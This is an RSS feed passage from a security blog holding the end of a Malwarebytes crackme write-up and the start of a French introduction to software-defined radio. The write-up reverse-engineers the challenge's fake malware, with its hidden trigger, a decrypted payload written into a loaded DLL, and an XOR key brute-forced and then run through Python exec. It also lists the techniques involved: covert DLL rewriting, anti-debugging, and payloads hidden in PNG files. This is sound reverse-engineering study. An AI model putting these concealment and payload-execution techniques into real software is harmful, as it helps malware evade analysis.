<figure id="post-15635 media-15635" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15635 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26.png" alt="" width="400" height="350" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26-45x39.png 45w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15677 media-15677" class="align-none"><img loading="lazy" decoding="async" class="alignnone wp-image-15677 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis.png" alt="" width="400" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis-308x191.png 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I26bis-63x39.png 63w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>Once again, this corresponds to the following pseudo code:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>if getpid() == int(getenv(“mb_chall”):
   tmp = 6
else:
   tmp = 1
exceptionInfo-&gt;Context._Eip += tmp
return EXCEPTION_CONTINUE_EXECUTION</pre>
</div>
<p>After this handler, execution restarts at the address of original interruption (“int 3”) +1 or +6 (as presented in the pseudo-code above), whether performed checks pass or not.</p>
<figure id="post-15637 media-15637" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15637 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27.png" alt="" width="640" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I27-71x17.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>We thus continue the analysis at the <b>not_fail function</b> (0x100010D0).</p>
<p><b>not_fail (0x100010D0)</b><br />
The function only starts a thread and waits for it to terminate.</p>
<figure id="post-15639 media-15639" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15639 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28.png" alt="" width="319" height="231" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28.png 319w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I28-54x39.png 54w" sizes="auto, (max-width: 319px) 100vw, 319px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of not_fail() function</i></span></div>
<p>The created thread executes the <b>MainThread</b> (0x10001110) function, where our analysis continues.</p>
<p><b>MainThread (0x10001110)</b><br />
The function loops and calls the <b>EnumWindows</b>  API every second, which in turn calls the provided callback function (<b>EnumWindowsCallback</b>) on every window present on the desktop.<br />
<b><br />
</b></p>
<figure id="post-15641 media-15641" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15641 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29.png" alt="" width="284" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29.png 284w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29-136x191.png 136w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I29-28x39.png 28w" sizes="auto, (max-width: 284px) 100vw, 284px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>CFG of MainThread() function</i></span></div>
<p><b>EnumWindowsCallback function (0x10005750)</b><br />
The function, called on each window, uses the <b>SendMessageA</b>  API with the WM_GETTEXT message to retrieve the window’s title.</p>
<figure id="post-15643 media-15643" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15643 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30.png" alt="" width="320" height="175" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I30-71x39.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>SendMessageA() call in MainThread()</i></span></div>
<p>After being converted to C++ std::string, the substrings <b>“Notepad”</b> and <b>“secret_console”</b> are searched in the window’s title.</p>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15645 media-15645" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15645 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31.png" alt="" width="363" height="404" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31.png 363w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31-172x191.png 172w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I31-35x39.png 35w" sizes="auto, (max-width: 363px) 100vw, 363px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Strings &#8220;Notepad&#8221; and &#8220;secret_console&#8221; searched for in window title</i></span></div>
<p>If both substrings are present, the window’s title is replaced by the hardcoded string <b>“Secret Console is waiting for the commands&#8230;”</b>, using the SendMessageA API along with the WM_SETTEXT message. The window is placed to the <b>foreground,</b> using the ShowWindow API call.</p>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15647 media-15647" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15647 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32.png" alt="" width="295" height="330" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32.png 295w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32-171x191.png 171w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I32-35x39.png 35w" sizes="auto, (max-width: 295px) 100vw, 295px" /></figure>
<p><span style="font-size: x-small;"><i>Modification of the window&#8217;s title using SendMessageA()</i></span>
</div>
<p>The PID of the process corresponding to the window is then written in the “malware”’s console, and sub-windows of this window are enumerated, using the EnumChildWindows  API.The function <b>EnumChildWindowsCallback</b> (0x100034C0) is thus called on every sub-window.</p>
<figure id="post-15649 media-15649" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15649 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33.png" alt="" width="438" height="309" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33.png 438w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I33-55x39.png 55w" sizes="auto, (max-width: 438px) 100vw, 438px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>EnumChildWindows() function call</i></span></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i> </i></span></div>
<p><b>EnumChildWindowsCallback function (0x100034C0)</b><br />
This function gets the content of the sub-window using the SendMessageA API call:</p>
<figure id="post-15651 media-15651" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15651 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34.png" alt="" width="436" height="222" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34.png 436w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34-375x191.png 375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I34-71x36.png 71w" sizes="auto, (max-width: 436px) 100vw, 436px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>SendMessageA() call in EnumChildWindowsCallback() function</i></span></div>
<p>The substring <b>“dump_the_key”</b> is then searched in the retrieved content:</p>
<figure id="post-15653 media-15653" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15653 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35.png" alt="" width="328" height="254" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35.png 328w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-247x191.png 247w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-50x39.png 50w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-156x121.png 156w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I35-155x120.png 155w" sizes="auto, (max-width: 328px) 100vw, 328px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Search for &#8220;dump_the_key&#8221;</i></span></div>
<p>If this string is found, this function calls a decryption routine <b>decrypt_buffer()</b> (0x100016F0) on a buffer (encrypted_buff), using the string “dump_the_key” as argument.</p>
<figure id="post-15655 media-15655" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15655 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36.png" alt="" width="514" height="251" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36.png 514w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36-391x191.png 391w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I36-71x35.png 71w" sizes="auto, (max-width: 514px) 100vw, 514px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Decrypting a hardcoded buffer using &#8220;dump_the_key&#8221; as key</i></span></div>
<p>Then, the “malware” loads the <b>actxprxy.dll </b>library into the process memory space. The first 4096 bytes (i.e. the first memory page) of the library is made writable using the VirtualProtect API call, and the decrypted payload is written at this location.</p>
<figure id="post-15657 media-15657" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15657 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37.png" alt="" width="640" height="395" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37-309x191.png 309w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I37-63x39.png 63w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Loading a library and writing the decrypted buffer at its location</i></span></div>
<p>Since the actxprxy.dll library is not used anywhere in the analyzed DLL after being re-written, it may be seen as a <b>covert communication channel </b>between the analyzed DLL and the main program mb_crackme_2.exe. After this, the function clears every allocated memory and exits. The created thread (see 4.2.6) therefore also exits, and the DllEntryPoint function call terminates, giving the control back to the main python script.</p>
<h3>Triggering the secret console</h3>
<p>As seen in the DLL analysis, to trigger the required conditions, a file named<b> “secret_console – Notepad”</b> is opened in a text editor. As such, the window title contains the mentioned substrings:</p>
<figure id="post-15659 media-15659" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15659 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38.png" alt="" width="320" height="219" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38-279x191.png 279w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I38-57x39.png 57w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Opening a file named &#8220;secret_console_Notepad.txt&#8221; on Notepad++</span></i></div>
<p>As expected, the title of the window is changed to “Secret Console is waiting for the commands…” by the malware. Writing “dump_the_key” in the window validates the second stage.</p>
<figure id="post-15661 media-15661" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15661 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39.png" alt="" width="320" height="242" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39-253x191.png 253w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I39-52x39.png 52w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Writing &#8220;dump_the_key&#8221; in the text editor</i></span></div>
<h1>Stage 3: the colors</h1>
<p>After validating the previous step, a message is printed on the console, asking the user to “guess a color”:</p>
<figure id="post-15663 media-15663" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15663 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40.png" alt="" width="640" height="67" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I40-71x7.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Level 3 Message</i></span></div>
<p>The <b>three components (R, G and B) of a specific color</b>, with values going from 0 to 255, need to be entered to validate this step.</p>
<figure id="post-15665 media-15665" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15665 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41.png" alt="" width="320" height="144" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I41-71x32.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><span style="font-size: x-small;"><i>Level 3 failed guess message</i></span></div>
<h3>Understanding the code</h3>
<p>Looking back at the another.py’s main() function code, it seems that the corresponding operations are performed inside the <b>decode_pasted()</b> function.</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def main():
   [...]
      load_level2(decdata, len(decdata))
      user32_dll.MessageBoxA(None, 'You did it, level up!', 'Congrats!', 0)
      try:
         if decode_pasted() == True:
            user32_dll.MessageBoxA(None, '''Congratulations! Now save your flag and 
send it to Malwarebytes!''', 'You solved it!', 0)
            return 0</pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>def decode_pasted():
    my_proxy = kernel_dll.GetModuleHandleA('actxprxy.dll')
    if my_proxy is None or my_proxy == 0:
        return False
    else:
        char_sum = 0
        arr1 = my_proxy
        str = ''
        while True:
            val = get_char(arr1)
            if val == '\x00':
                break
            char_sum += ord(val)
            str = str + val
            arr1 += 1

        print char_sum
        if char_sum != 52937:
            return False
        colors = level3_colors()
        if colors is None:
            return False
        val_arr = zlib.decompress(base64.b64decode(str))
        final_arr = dexor_data(val_arr, colors)
        try:
            exec final_arr
        except:
            print 'Your guess was wrong!'
            return False

        return True</pre>
</div>
<p>&nbsp;</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def dexor_data(data, key):
    maxlen = len(data)
    keylen = len(key)
    decoded = ''
    for i in range(0, maxlen):
        val = chr(ord(data[i]) ^ ord(key[i % keylen]))
        decoded = decoded + val
    return decoded</pre>
</div>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>def level3_colors():
    colorama.init()
    print colorama.Style.BRIGHT + colorama.Fore.CYAN
    print '''Level #3: Your flag is almost ready! But before it will be revealed
, you need to guess it's color (R,G,B)!'''
    print colorama.Style.RESET_ALL
    color_codes = ''
    while True:
        try:
            val_red = int(raw_input('R: '))
            val_green = int(raw_input('G: '))
            val_blue = int(raw_input('B: '))
            color_codes += chr(val_red)
            color_codes += chr(val_green)
            color_codes += chr(val_blue)
            break
        except:
            print 'Invalid color code! Color code must be an integer (0,255)'
    print 'Checking: RGB(%d,%d,%d)' % (val_red, val_green, val_blue)
    return color_codes</pre>
</div>
<p>According to the decode_pasted() function, the decrypted buffer stored at the start of actxprxy.dll’s address space is read and:<br />
base64-decoded;</p>
<ul>
<li>zlib-decompressed;</li>
<li>XOR’ed against the user-provided colors values;</li>
<li>Executed by the Python exec function.</li>
</ul>
<p>To start our cryptanalysis, we <b>modify the decode_pasted() function</b> to dump the val_arr buffer before the dexor_data() operation, and rerun another.py, providing all required credentials:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>[...]
if colors is None:
   return False
val_arr = zlib.decompress(base64.b64decode(str))
with open("val_arr.bin", "wb") as f:
   f.write(val_arr)
   print "val_arr dumped !"
exit()
final_arr = dexor_data(val_arr, colors)
[...]</pre>
</div>
<p>&nbsp;</p>
<figure id="post-15667 media-15667" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15667 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42.png" alt="" width="213" height="118" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42.png 213w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I42-71x39.png 71w" sizes="auto, (max-width: 213px) 100vw, 213px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Dumping the XOR&#8217;ed array</span></i></div>
<h3>Decrypting the val_arr buffer</h3>
<p>Knowing that the buffer is a string passed to the “exec” Python statement after being decrypted, it should represent a <b>valid Python source code</b>.<br />
To find the right key, the naïve solution would be to run a brute-force attack on all the possible “(R, G, B)” combinations, and look for printable solutions. This solution would need to perform 256^3 = 16’777’216 dexor_data() calls, which is feasible but <b>inefficient</b>.<br />
Instead, we perform 3 independent brute-force attacks on each R, G and B component, therefore performing 256 x 3 = 768 dexor_data() calls. The 3 brute-force attacks are performed on different “slices” of the val_arr string (of each of stride 3). We then test each combination of potential values previously found for each component.<br />
For example, if our 3 brute-force attacks indicate that:</p>
<ul>
<li>R can take values 2 and 37,</li>
<li>G can take values 77 and 78,</li>
<li>and B can only take the value 3,</li>
</ul>
<p>Then we test the combinations (2,77, 3), (37,77, 3), (2,78, 3) and (37,78, 3).</p>
<p>The following code implements our attack:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>import string
import itertools
from colorama import *
from another import dexor_data

with open("val_arr.bin", "rb") as f:
    val_arr = f.read()

#lists of possible values for R, G and B
potential_solutions = [list(), list(), list()]
for color in range(3): # separate bruteforce on R, G and B
    for xor_value in range(256): #testing all potential values
        valid = True
        for b in val_arr[color::3]: #extracting one every 3 characters, from index 
        # "color" (i.e. extracting all characters xored by the same "color" value)
            if chr(ord(b) ^ xor_value) not in string.printable:
                valid = False
                break
        if valid:
            potential_solutions[color].append(xor_value)

print "Possible values for R, G and B :", potential_solutions

for colors in itertools.product(*potential_solutions):
    print "Testing ", colors
    plaintext = dexor_data(val_arr, map(chr, colors))
    print repr(plaintext)
    if not raw_input("Does it seems right ? [Y/n]\n").startswith("n"):
       print "Executing payload :"
       exec plaintext
       break</pre>
</div>
<p>Executing this code gives us the solution instantly:</p>
<figure id="post-15669 media-15669" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15669 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43.png" alt="" width="640" height="199" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43-437x136.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I43-71x22.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Decrypting the payload</span></i></div>
<p>The final flag appears in the console:</p>
<div style="background-color: #dfd2ee; border: 1px solid black; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre></pre>
<pre>flag{"Things are not always what they seem; the first appearance 
deceives many; the intelligence of a few perceives what has been 
carefully hidden." - Phaedrus}</pre>
</div>
<h2>Conclusion</h2>
<p>This challenge was very interesting to solve, because apart from being an original crackme, it also included various topics that could be found during a real malware analysis. These topics included:</p>
<ul>
<li>DLL-rewriting techniques, here used as a kind of covert communication channel between a DLL and its main process;</li>
<li>“Non-obvious” anti-debugging tricks, like checking the presence of a known library in the process’ memory space to identify standalone DLL debugging;</li>
<li>Concealed malware downloading, using « harmless » formats (like PNG) to hide an executable payload from basic traffic analysis;</li>
<li>PyInstaller-based malware, (yes, sometimes malware writers can be lazy).</li>
</ul>
<p>Thanks MalwareBytes for this entertaining challenge!</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/06/malwarebytes-challenge-write-up/">Malwarebytes challenge write-up</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Introduction au Software Defined Radio (SDR)</title>
		<link>https://www.riskinsight-wavestone.com/en/2018/03/introduction-au-software-defined-radio-sdr/</link>
		
		<dc:creator><![CDATA[Vincent Deperiers]]></dc:creator>
		<pubDate>Thu, 08 Mar 2018 15:41:55 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Defined]]></category>
		<category><![CDATA[Radio]]></category>
		<category><![CDATA[SDR]]></category>
		<category><![CDATA[Software]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=16251</guid>

					<description><![CDATA[<p>L’utilisation accrue d’objets sans-fil (téléphone, objet connecté, casque audio, télécommande, …) et la mise à disposition d’antennes bon marché favorisent l’étude des signaux radio. Les deux premiers articles de cette série visent à introduire les composants de la radio-logicielle (SDR)...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2018/03/introduction-au-software-defined-radio-sdr/">Introduction au Software Defined Radio (SDR)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16253 media-16253" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16253 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/1.png" alt="" width="640" height="284" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/1-430x191.png 430w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/1-71x32.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">L’utilisation accrue d’objets sans-fil (téléphone, objet connecté, casque audio, télécommande, …) et la mise à disposition d’antennes bon marché favorisent l’étude des signaux radio. Les deux premiers articles de cette série visent à introduire les composants de la radio-logicielle (SDR) et de l’étude des ondes radio. D’autres articles seront ensuite publiés avec pour objectif d’évaluer la sécurité de l’utilisation d’un objet sans-fil.</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Définition</h3>
<div style="text-align: justify;">Jusqu’à très récemment, il était plus rapide d’utiliser un matériel dédié pour réaliser une tâche ; c’est dans ce contexte que la radio s’est développée. Aujourd’hui, la puissance des calculateurs des ordinateurs permet de traiter une large quantité de données (plusieurs millions par secondes) et donc de traiter les signaux radio efficacement.</div>
<div style="text-align: justify;">Si les briques de traitement du signal (dont la modulation/démodulation) peuvent être aujourd’hui déportés sur un ordinateur, la fonctionnalité de réception (ou d’émission) nécessite toujours un matériel dédié. Plusieurs définitions existent pour le terme de « radio-logicielle » ou SDR an anglais (Software Defined Radio), nous proposons la suivante :</div>
<div style="text-align: justify;">Outils permettant de réceptionner ou d’émettre un signal qui sera par la suite traité par logiciel.</div>
<div style="text-align: justify;">Le matériel nécessaire pour faire du SDR (« antenne SDR ») est donc composé au minimum des éléments suivants :</div>
<div style="text-align: justify;"></div>
<ul>
<li>Une antenne avec des capacités en réception et/ou transmission.</li>
<li>Un convertisseur Analogique-Numérique (DAC) et/ou Numérique-Analogique (NAC). Il constitue l’interface entre le domaine électromagnétique (analogique) et informatique (numérique).</li>
<li>Dans certains cas, l’antenne peut embarquer des filtres et amplificateurs pour faciliter le travail du logiciel.</li>
</ul>
<p>&nbsp;</p>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Le RTL-SDR, l’avènement du SDR bon marché</h3>
<div style="text-align: justify;">Une bonne « antenne SDR » doit être capable de scanner un large spectre de fréquences (de quelques MHz à plusieurs GHz) avec une bonne précision d’acquisition. Plusieurs produits existent (RTL-SDR, HackRF, LimeSDR, USRP, …) et offrent des possibilités variées (fréquences, réception/émission simultanées, gain, …) il convient donc de bien choisir son matériel.</div>
<div style="text-align: justify;">Notre cabinet s’est doté d’un USRP, la référence des antennes SDR, pour réceptionner et émettre des signaux sur un large spectre de fréquence.</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16255 media-16255" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16255 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/2.png" alt="" width="340" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/2.png 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/2-232x191.png 232w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/2-47x39.png 47w" sizes="auto, (max-width: 340px) 100vw, 340px" /></figure>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">Nous l’avons dit, le socle informatique est désormais capable de gérer un grand nombre de données, mais ce n’est pas cette évolution qui est pas à l’origine de la popularisation du SDR. L’avènement de la télévision numérique (DVB-T TV) permet de visionner la télévision numérique sur ordinateur à l’aide d’une clef USB. Sa production en masse permet de diminuer les couts de fabrication et de vente de la RTL2832U qui la compose.</div>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-16257 media-16257" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-16257 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/3.png" alt="" width="640" height="320" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/3.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/3-382x191.png 382w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/07/3-71x36.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Des personnes ont réussi à interagir avec la puce RTL2832U de ces antennes USB afin de mettre en avant des fonctionnalités des SDR sur ces équipements rendant accessible la radio-logicielle à tous.</div>
<div style="text-align: justify;"></div>
<h3 style="text-align: justify;">Des exemples de logiciels</h3>
<div style="text-align: justify;">Comme son nom l’indique, un SDR peut être manipulé par un logiciel pour réceptionner ou émettre des données sans fil. La liste suivante vise à donner un aperçu des logiciels existant et les besoins auxquels ils répondent.</div>
<div style="text-align: justify;"></div>
<h4 style="text-align: justify;">GNU Radio : le couteau suisse du SDR</h4>
<div style="text-align: justify;">GNU Radio est un outil qui détaille, à l’aide de blocs de programme, les différentes étapes pour moduler ou démoduler un signal. Les étapes les plus courantes dans le traitement des signaux (FFT, resampling, diagrammes, …) sont déjà implémentés et il est possible de faire interagir des blocs entre eux pour produire un programme qui sera capable, par exemple, d’écouter la radio sur son ordinateur.</div>
<div style="text-align: justify;"></div>
<h4 style="text-align: justify;">Inspectrum et Baudline : visualiser le signal</h4>
<div style="text-align: justify;">Dans un premier temps, l’étude d’un signal consiste à le caractériser ; c’est-à-dire à identifier sa fréquence et son type de modulation. Une représentation des composantes (amplitude, fréquence et phase) d’un signal au court du temps est donc nécessaire. Les deux outils Inspectrum et Baudline répondent à ce besoin. Baudline permet aussi la collecte du signal.</div>
<div style="text-align: justify;"></div>
<h4 style="text-align: justify;">rtl_sdr</h4>
<div style="text-align: justify;">Un SDR fournit à l’ordinateur un flux continu (stream) de nombres complexes caractérisant le signal. Il est possible d’enregistrer le signal dans un fichier pour ensuite l’étudier.</div>
